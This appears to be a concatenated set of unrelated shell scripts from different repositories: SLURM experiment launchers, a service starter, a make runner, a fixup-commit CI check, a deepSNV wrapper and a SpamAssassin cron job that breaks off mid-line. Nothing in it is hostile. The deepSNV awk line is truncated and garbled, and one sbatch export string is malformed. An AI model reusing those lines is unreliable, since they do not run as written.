scripts/cat_result_files_to_exp_folder.sh\n\n\n\n###########################################################################################################################\n\n\n\nEXP_NAME=\"DIM\"\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\n\n\ni=-1\nfor DIM_train in 2 10 50; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"DIM_${DIM_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${standard_NLO}\")\n PROBLEM_DIM_ARRAY+=(\"${DIM_train}\")\n SOLVER_POPSIZE_ARRAY+=(\"${standard_SOLVER_POPSIZE}\")\n MAX_SOLVER_FE_ARRAY+=(\"${standard_MAX_SOLVER_FE}\")\ndone\n\n\n\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\n\n\nTRAINING_JOB_ID=`sbatch --parsable --dependency=afterok:${COMPILE_JOB_ID} --export=MAX_TRAIN_ITERATIONS=${MAX_TRAIN_ITERATIONS},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_train_array_random_problem.sl`\n\n\n\nTESTING_JOB_ID=\"\"\n\n\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\ni=-1\nfor DIM_train in 1 8 64; do\n for DIM_test in 1 8 64; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"DIM_${DIM_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${standard_NLO}\")\n PROBLEM_DIM_ARRAY+=(\"${DIM_test}\")\n SOLVER_POPSIZE_ARRAY+=(\"${standard_SOLVER_POPSIZE}\")\n MAX_SOLVER_FE_ARRAY+=(\"${standard_MAX_SOLVER_FE}\")\n done\ndone\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\nTESTING_JOB_ID=`sbatch --parsable --dependency=afterok:${TRAINING_JOB_ID} --export=EXPERIMENT_FOLDER_NAME=${EXPEIMENT_FOLDER_NAME},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},TMP_RES_PATH=${TMP_RES_PATH},N_REPS=${N_REPS},N_EVALS=${N_EVALS},EXP_NAME=${EXP_NAME},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_test_array.sl`\n\n\nsbatch --dependency=afterok:$TESTING_JOB_ID --export=SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},TMP_RES_PATH=${TMP_RES_PATH} scripts/cat_result_files_to_exp_folder.sh\n\n\n\n###########################################################################################################################\n\n\n\nEXP_NAME=\"POPSIZE\"\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\n\n\ni=-1\nfor SOLVER_POPSIZE_train in 10 40 160; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"POPSIZE_${SOLVER_POPSIZE_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${standard_NLO}\")\n PROBLEM_DIM_ARRAY+=(\"${standard_DIM}\")\n SOLVER_POPSIZE_ARRAY+=(\"${SOLVER_POPSIZE_train}\")\n MAX_SOLVER_FE_ARRAY+=(\"${standard_MAX_SOLVER_FE}\")\ndone\n\n\n\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\n\n\nTRAINING_JOB_ID=`sbatch --parsable --dependency=afterok:${COMPILE_JOB_ID} --export=MAX_TRAIN_ITERATIONS=${MAX_TRAIN_ITERATIONS},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_train_array_random_problem.sl`\n\n\n\nTESTING_JOB_ID=\"\"\n\n\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\ni=-1\nfor SOLVER_POPSIZE_train in 10 40 160; do\n for SOLVER_POPSIZE_test in 10 40 160; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"POPSIZE_${SOLVER_POPSIZE_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${standard_NLO}\")\n PROBLEM_DIM_ARRAY+=(\"${standard_DIM}\")\n SOLVER_POPSIZE_ARRAY+=(\"${SOLVER_POPSIZE_test}\")\n MAX_SOLVER_FE_ARRAY+=(\"${standard_MAX_SOLVER_FE}\")\n done\ndone\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\nTESTING_JOB_ID=`sbatch --parsable --dependency=afterok:${TRAINING_JOB_ID} --export=EXPERIMENT_FOLDER_NAME=${EXPEIMENT_FOLDER_NAME},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},TMP_RES_PATH=${TMP_RES_PATH},N_REPS=${N_REPS},N_EVALS=${N_EVALS},EXP_NAME=${EXP_NAME},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_test_array.sl`\n\n\nsbatch --dependency=afterok:$TESTING_JOB_ID --export=SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},TMP_RES_PATH=${TMP_RES_PATH} scripts/cat_result_files_to_exp_folder.sh\n\n\n\n###########################################################################################################################\n\n\n\nEXP_NAME=\"MAX_SOLVER_FE\"\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\n\n\ni=-1\nfor MAX_SOLVER_FE_train in 1000 5000 25000 125000; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"MAX_SOLVER_FE_${MAX_SOLVER_FE_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${standard_NLO}\")\n PROBLEM_DIM_ARRAY+=(\"${standard_DIM}\")\n SOLVER_POPSIZE_ARRAY+=(\"${standard_SOLVER_POPSIZE}\")\n MAX_SOLVER_FE_ARRAY+=(\"${MAX_SOLVER_FE_train}\")\ndone\n\n\n\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\n\n\nTRAINING_JOB_ID=`sbatch --parsable --dependency=afterok:${COMPILE_JOB_ID} --export=NEAT_POPSIZE_ARRAY=MAX_TRAIN_ITERATIONS=${MAX_TRAIN_ITERATIONS},$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_train_array_random_problem.sl`\n\n\n\nTESTING_JOB_ID=\"\"\n\n\nNEAT_POPSIZE_ARRAY=()\nCONTROLLER_NAME_PREFIX_ARRAY=()\nEXPERIMENT_FOLDER_NAME_ARRAY=()\nSEED_ARRAY=()\nPROBLEM_NLO_ARRAY=()\nPROBLEM_DIM_ARRAY=()\nSOLVER_POPSIZE_ARRAY=()\nMAX_SOLVER_FE_ARRAY=()\ni=-1\nfor MAX_SOLVER_FE_train in 1000 5000 25000 125000; do\n for MAX_SOLVER_FE_test in 1000 5000 25000 125000; do\n i=$((i+1))\n\n NEAT_POPSIZE_ARRAY+=(\"${standard_NEAT_POPSIZE}\")\n CONTROLLER_NAME_PREFIX_ARRAY+=(\"MAX_SOLVER_FE_${MAX_SOLVER_FE_train}\")\n EXPERIMENT_FOLDER_NAME_ARRAY+=(\"${EXPERIMENT_FOLDER_NAME}\")\n SEED_ARRAY+=(\"${i}\")\n PROBLEM_NLO_ARRAY+=(\"${standard_NLO}\")\n PROBLEM_DIM_ARRAY+=(\"${standard_DIM}\")\n SOLVER_POPSIZE_ARRAY+=(\"${standard_SOLVER_POPSIZE}\")\n MAX_SOLVER_FE_ARRAY+=(\"${MAX_SOLVER_FE_test}\")\n done\ndone\n\nNEAT_POPSIZE_ARRAY=$(to_list \"${NEAT_POPSIZE_ARRAY[@]}\")\nCONTROLLER_NAME_PREFIX_ARRAY=$(to_list \"${CONTROLLER_NAME_PREFIX_ARRAY[@]}\")\nEXPERIMENT_FOLDER_NAME_ARRAY=$(to_list \"${EXPERIMENT_FOLDER_NAME_ARRAY[@]}\")\nSEED_ARRAY=$(to_list \"${SEED_ARRAY[@]}\")\nPROBLEM_NLO_ARRAY=$(to_list \"${PROBLEM_NLO_ARRAY[@]}\")\nPROBLEM_DIM_ARRAY=$(to_list \"${PROBLEM_DIM_ARRAY[@]}\")\nSOLVER_POPSIZE_ARRAY=$(to_list \"${SOLVER_POPSIZE_ARRAY[@]}\")\nMAX_SOLVER_FE_ARRAY=$(to_list \"${MAX_SOLVER_FE_ARRAY[@]}\")\n\nTESTING_JOB_ID=`sbatch --parsable --dependency=afterok:${TRAINING_JOB_ID} --export=EXPERIMENT_FOLDER_NAME=${EXPEIMENT_FOLDER_NAME},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},TMP_RES_PATH=${TMP_RES_PATH},N_REPS=${N_REPS},N_EVALS=${N_EVALS},EXP_NAME=${EXP_NAME},NEAT_POPSIZE_ARRAY=$NEAT_POPSIZE_ARRAY,CONTROLLER_NAME_PREFIX_ARRAY=$CONTROLLER_NAME_PREFIX_ARRAY,EXPERIMENT_FOLDER_NAME_ARRAY=$EXPERIMENT_FOLDER_NAME_ARRAY,SEED_ARRAY=$SEED_ARRAY,PROBLEM_NLO_ARRAY=$PROBLEM_NLO_ARRAY,PROBLEM_DIM_ARRAY=$PROBLEM_DIM_ARRAY,SOLVER_POPSIZE_ARRAY=$SOLVER_POPSIZE_ARRAY,MAX_SOLVER_FE_ARRAY=$MAX_SOLVER_FE_ARRAY --array=0-$i src/experiments/real/scripts/hip_test_array.sl`\n\n\nsbatch --dependency=afterok:$TESTING_JOB_ID --export=SCORE_PATH=${SCORE_PATH},RESPONSE_PATH=${RESPONSE_PATH},COMPUTE_RESPONSE=${COMPUTE_RESPONSE},TMP_RES_PATH=${TMP_RES_PATH} scripts/cat_result_files_to_exp_folder.sh"} {"text": "phage-nz/observer\n#!/bin/bash\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n\ncd /opt/observer\n\npython3 manage.py runscript start_service --script-args core >> /opt/observer/logs/core.log 2>&1 &\nPIDS[0]=$!\npython3 manage.py runscript start_service --script-args helper >> /opt/observer/logs/helper.log 2>&1 &\nPIDS[1]=$!\npython3 manage.py runscript start_service --script-args pastebin >> /opt/observer/logs/batch.log 2>&1 &\nPIDS[2]=$!\n\ntrap \"kill ${PIDS[*]}\" SIGINT\n\nwait"} {"text": "scripts/run.sh\n#!/usr/bin/env bash\nset -euo pipefail\n\n# run.sh\n#\n# SUMMARY\n#\n# A simple script that runs a make target in a container environment based\n# on the presence of the `USE_CONTAINER` environment variable.\n#\n# This helps to reduce friction for first-time contributors, since running\n# basic commands through containers ensures they work. It is recommended\n# that frequent contributors setup local environments to improve the speed\n# of commands they are running frequently. This can be achieved by setting\n# USE_CONTAINER to none:\n#\n# export USE_CONTAINER=none\n#\n\ncd \"$(dirname \"${BASH_SOURCE[0]}\")/..\"\n\n# A workaround to prevent docker from creating directories at `./target` as\n# root.\n# Ran unconditionally for consistency between docker and bare execution.\nscripts/prepare-target-dir.sh\n\ncase \"$USE_CONTAINER\" in\n docker | podman)\n echo \"Executing within $USE_CONTAINER. To disable set USE_CONTAINER to none\"\n echo \"\"\n echo \" make ... USE_CONTAINER=none\"\n echo \"\"\n\n scripts/docker-compose-run.sh \"$1\"\n ;;\n\n *)\n echo \"Executing locally. To use Docker set USE_CONTAINER to docker or podman\"\n echo \"\"\n echo \" make ... USE_CONTAINER=docker\"\n echo \" make ... USE_CONTAINER=podman\"\n echo \"\"\n\n FILE=$(find ./scripts -name \"${1}.*\")\n\n if [ -z \"$FILE\" ]; then\n echo \"Local invocation failed. Script not found!\"\n echo \"\"\n echo \" scripts/${1}.*\"\n echo \"\"\n echo \"To run the ${1} target locally you must place a script in the\"\n echo \"/scripts folder that can be executed. Otherwise, you can use the\"\n echo \"service defined in /docker-compose.yml.\"\n exit 1\n fi\n\n ${FILE}\n ;;\nesac"} {"text": "platogo/block-fixup-merge-action\n#!/bin/bash\nset -euo pipefail\n\nmain() {\n echo \"Current ref: ${GITHUB_REF_NAME}\"\n BRANCH=${GITHUB_REF_NAME}\n echo \"Current branch: ${BRANCH}\"\n\n if [ \"$BRANCH\" == \"master\" ]; then\n echo \"No check of master branch needed.\"\n exit 0\n fi\n\n # Using git directly because the $GITHUB_EVENT_PATH file only shows commits in\n # most recent push.\n /usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --depth=1 origin master --quiet\n /usr/bin/git -c protocol.version=2 fetch --no-tags --prune --no-recurse-submodules --shallow-exclude=master origin ${BRANCH} --quiet\n\n # Get the list before the \"|| true\" to fail the script when the git cmd fails.\n FIXUP_LIST=`/usr/bin/git log --pretty=format:%s origin/master..origin/${BRANCH}`\n FIXUP_COUNT=`echo $FIXUP_LIST | grep -c '^fixup!' || true`\n echo \"Fixup! commits: ${FIXUP_COUNT}\"\n if [ \"$FIXUP_COUNT\" -gt \"0\" ]; then\n /usr/bin/git log --pretty=format:%s origin/master..origin/${BRANCH} | grep '^fixup!'\n echo \"failing...\"\n exit 1\n fi\n}\n\nmain"} {"text": "scripts/deepSNV_automated_variants.sh\n#!/bin/bash -l\n\n#function deepSNV_automated_variants()\n#{\n\tif [ -z \"$1\" -o -z \"$2\" -o -z \"$3\" -o -z \"$4\" ]; then #\n\t\techo \"usage deepSNV_automated_variants [ --also-vcf --minBaseQ <25> --estimateDispersion --overdispersion <100> --estimateDirichlet --alternative ]\"\n\t\texit -1;\n\tfi\n\n\tbed_file=$1; shift # assuming the bed file does not have header lines and just starts with the regions directly, otherwise deepSNV throws and error\n\ttumor_bam=$1; shift\n\tnormal_bam=$1; shift\n reference_fasta=$1; shift\n\tout_dir=$1; shift\n\t\t\n\talso_vcf=true\n\tminBaseQ=25 # default for deepSNV\n\testimateDispersion=false\n\toverdispersion=100 # default for deepSNV model betabinomial\n\testimateDirichlet=false\n\talternative=\"two.sided\" \n\t\n\topts=\"\"\n\tparameter_setting=\"alternative_${alternative}\" # get one string that summarizes all the parameters set - and only specifically mentions them if they are non-default values, except for alternative\n\n\twhile [ 0 -lt $# ]; do\n\t\tif [ $1 == \"--also-vcf\" ]; then\n\t\t\tshift;\n\t\t\talso_vcf=$1\n\t\telif [ $1 == \"--minBaseQ\" ]; then\n\t\t\tshift;\n\t\t\tminBaseQ=$1\n\t\t\tif [ $minBaseQ != 25 ]; then\n\t\t\t\tparameter_setting=\"${parameter_setting}_minBaseQ${minBaseQ}\"\n\t\t\t\topts=\"$opts --minBaseQ $minBaseQ \"\n\t\t\tfi\n\t\telif [ $1 == \"--estimateDispersion\" ]; then\n\t\t\testimateDispersion=true\n\t\t\topts=\"$opts --estimateDispersion \"\n\t\t\tparameter_setting=\"${parameter_setting}_estDispersionTRUE\"\n\t\telif [ $1 == \"--overdispersion\" ]; then\n\t\t\tshift;\n\t\t\toverdispersion=$1\n\t\t\tif [ $overdispersion != 100 ]; then\n\t\t\t\tparameter_setting=\"${parameter_setting}_overdisp${overdispersion}\"\n\t\t\t\topts=\"$opts --overdispersion $overdispersion \"\n\t\t\tfi\n\t\telif [ $1 == \"--estimateDirichlet\" ]; then\n\t\t\testimateDirichlet=true\n\t\t\topts=\"$opts --estimateDirichlet \"\n\t\t\tparameter_setting=\"${parameter_setting}_estDirichletTRUE\"\n\t\telif [ $1 == \"--alternative\" ]; then\n\t\t\tshift;\n\t\t\talternative=$1;\n\t\t\topts=\"$opts --alternative $alternative \"\n\t\tfi;\n\t\tshift;\n\tdone\n\n\techo \"run deepSNV...\"\n\techo \"opts = $opts \"\n\n # check whether the bed file has overlapping regions - it should not have, because otherwise deepSNV calls variants in these regions several times\n NumOverlaps=`awk 'BEGIN{chr=\"\";end=0}{if(chr==$1 && $2&2 echo \"ERROR: The bed file $bed_file contains overlapping regions.\"\n\t\texit -1\n fi\n\n\tmkdir -p $out_dir\n\t\n\tdeepSNV_script=\"$(dirname ${BASH_SOURCE[0]})/deepSNV_automated.R\"\n\t \n\tcommand=\"$deepSNV_script $bed_file $tumor_bam $normal_bam $out_dir $opts\"\n\techo $command\n\teval $command\n\n\tif $also_vcf; then\n\t\toutput=$out_dir/`basename ${tumor_bam%.bam}`_vs_`basename ${normal_bam%.bam}`.txt\n\t\tfn_vcf=${output%.txt}.vcf\n\t\tif [ ! -f $fn_vcf ] ; then \n\t\t\tcommand2VCF=\"/cluster/work/bewi/modules/python/2.7/bin/python $(dirname ${BASH_SOURCE[0]})/deepSNV2VCF.py $output $reference_fasta $fn_vcf --no-LOH --no-indels \"\n echo \"$command2VCF\"\n eval \"$command2VCF\"\n\t\telse\n\t\t\techo deepSNV vcf file exists: $fn_vcf\n\t\tfi\n\tfi\n#}"} {"text": "CodeFormatter.sh0\n#!/bin/bash\r\n\r\nmono ./CodeFormatter/CodeFormatter.exe ./DataServicePrototype.sln"} {"text": "source ~/.functions_colors_shell.zsh\n\n# functions and load-onces stuff for the environment\necho \"function config\"\nsource ~/.functions_shell.sh\nsource ~/.functions_colors.sh\nsource ~/.functions_dev.sh\nsource ~/.functions_osx.sh\nsource ~/.functions_graphics.sh\n\n# Vim IDE settings\nsource ~/.bash_vim_append\n\ntest -e \"${HOME}/.dotfiles/mac/iterm2_shell_integration.sh\" && source \"${HOME}/.dotfiles/mac/iterm2_shell_integration.sh\"\n\nalias mkdir=/bin/mkdir\nalias ll='ls -alGh'\n\nexport PATH=\"$HOME/.dotfiles/bin:$PATH\""} {"text": "0\n#!/bin/bash\n#\n# sa-learn and sa report script by https://notes.sagredo.eu\n# more info here\n# https://notes.sagredo.eu/en/qmail-notes-185/setting-up-a-spamassassin-cronjob-script-for-the-learning-and-reporting-systems-249.html\n#\n# If you want to test for a single admin user you can run in the following way:\n#\n# sa_cron.sh \n#\n# otherwise, if you run it without passing any user, the job will be done for all users\n# having .Spam.TeachSpam and .Spam.TeachNotSpam dirs in their Maildirs.\n#\n# The script is intended to be run in a cronjob.\n#\n\nDOMAINS_DIR=/var/vpopmail/domains\nJUNK_DIR=.Spam.TeachSpam\nHAM_DIR=.Spam.TeachNotSpam\n\n# Set this to 1 if you want to log debug msg\nDEBUG=1\n\n# Set this to 1 if you want the spam be removed after the run\nDELETE_TEACH_DATA=1\n\n# spamassassin settings\nSA_LEARN_CMD=/usr/local/bin/sa-learn\nSA_CMD=/usr/local/bin/spamassassin\n\n\n################### you should not modify anything below this line\n\n# sed path\nSED=\"\"\nfor f in /usr/bin/sed /usr/sbin/sed /usr/local/bin/sed /usr/local/sbin/sed\ndo\n if test -x $f\n then\n SED=$f\n break\n fi\ndone\nif [[ $SED == \"\" ]]; then\n echo \"sed binary not found.\"\n exit 1;\nfi\n\n# Check if the program has to be run just for an admin account\nif [ \"$1\" = \"\" ]; then\n# if not it will run for all users\n\tPROCESS_ALL_USERS=1\nelse\n\tPROCESS_ALL_USERS=0\n USER=$(echo $1 | $SED -e \"s/^\\(.*\\)@.*/\\1/\")\n DOMAIN=$(echo $1 | $SED -e \"s/^.*@\\(.*\\)/\\1/\")\nfi\n\n\nrun()\n{\n\tSPAMPATH=${1}/${JUNK_DIR}\n\tHAMPATH=${1}/${HAM_DIR}\n\n\tif [ $DEBUG -eq 1 ]; then\n\t\tD=\"-D\"\n\telse\n\t\tD=\"\"\n\tfi\n\n\tif [ -e ${SPAMPATH}/new ] || [ -e ${SPAMPATH}/cur ]; then\n\t\techo \"processing spam via ${SPAMPATH}...\";\n\t\t$SA_LEARN_CMD $D --no-sync --spam --username=${USER}@${DOMAIN} ${SPAMPATH}/{cur,new} 2>&1\n\t for mail in ${SPAMPATH}/{cur,new}/*; do\n\t\t{\n\t\t\tif [ -e $mail ]; then\n\t\t\t\t#echo processing: $mail\n\t\t\t\t$SA_CMD $D --nocreate-prefs --report < $mail 2>&1\n\t\t\tfi\n\t\t};\n\t\tdone;\n\tfi\n\n\tif [ -e ${HAMPATH}/new ] || [ -e ${HAMPATH}/cur ]; then\n\t\techo\n\t\techo \"processing ham via ${HAMPATH}...\";\n $SA_LEARN_CMD $D --no-sync --ham --username=${USER}@${DOMAIN} ${HAMPATH}/{cur,new} 2>&1\n for mail in ${HAMPATH}/{cur,new}/*; do\n {\n\t\t\tif [ -e $mail ]; then\n\t\t\t\t$SA_CMD $D --nocreate-prefs --revoke < $mail 2>&1\n\t\t\tfi\n\t\t};\n done;\n\tfi\n\n\tif [ \"$DELETE_TEACH_DATA\" -eq 1 ]; then\n\t\trm -f ${SPAMPATH}/new/* ${SPAMPATH}/cur/*\n\t\t# Is it good to delete the ham as well? Not sure here...\n#\t\trm -f ${HAMPATH}/new/* 